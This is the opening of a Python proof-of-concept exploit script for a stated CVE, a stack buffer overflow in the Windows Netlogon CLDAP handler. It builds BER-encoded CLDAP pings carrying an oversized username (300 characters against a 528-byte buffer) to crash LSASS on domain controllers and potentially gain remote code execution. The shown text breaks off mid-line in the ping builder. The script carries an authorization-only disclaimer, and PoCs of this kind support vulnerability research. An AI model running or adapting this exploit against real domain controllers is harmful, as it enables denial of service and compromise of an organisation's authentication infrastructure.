#!/usr/bin/env python3 """ CVE-2026-41089 - Netlogon CLDAP Stack Buffer Overflow Author: HydraSoft Date: May 2026 Description: Sends a crafted CLDAP ping request with oversized username field to trigger a stack buffer overflow in netlogon!NetpLogonPutUnicodeString. This can lead to LSASS crash (DoS) and potentially RCE on unpatched DCs. Use only on systems you own or have explicit authorization to test. """ import argparse import socket import struct from colorama import init, Fore, Style init(autoreset=True) # Netlogon copies User into a ~528-byte stack buffer as UTF-16; 264+ chars overflow it. DEFAULT_USERNAME_LENGTH = 300 DEFAULT_NTVER = 0x02000000 # legacy code path targeted by public PoCs NETLOGON_BUFFER_BYTES = 528 def banner(): print(f"""{Fore.RED} ╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-41089 - Netlogon CLDAP Overflow ║ ║ Stack Buffer Overflow PoC ║ ╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}""") # --------------------- BER Encoding Functions --------------------- def ber_length(length): if length < 0x80: return bytes([length]) if length < 0x100: return bytes([0x81, length]) if length < 0x10000: return bytes([0x82, (length >> 8) & 0xFF, length & 0xFF]) return bytes([0x83, (length >> 16) & 0xFF, (length >> 8) & 0xFF, length & 0xFF]) def ber_int(value): if value == 0: return b"\x02\x01\x00" data = value.to_bytes((value.bit_length() + 7) // 8, "big") return b"\x02" + ber_length(len(data)) + data def ber_string(tag, value): if isinstance(value, str): value = value.encode("utf-8") return bytes([tag]) + ber_length(len(value)) + value def ber_sequence(tag, content): return bytes([tag]) + ber_length(len(content)) + content def username_size_info(username): wire_bytes = len(username.encode("utf-8")) unicode_bytes = len(username.encode("utf-16-le")) return wire_bytes, unicode_bytes # --------------------- CLDAP Ping Builder --------------------- def build_cldap_ping(domain, username, ntver=DEFAULT_NTVER): ntver_bytes = struct.pack("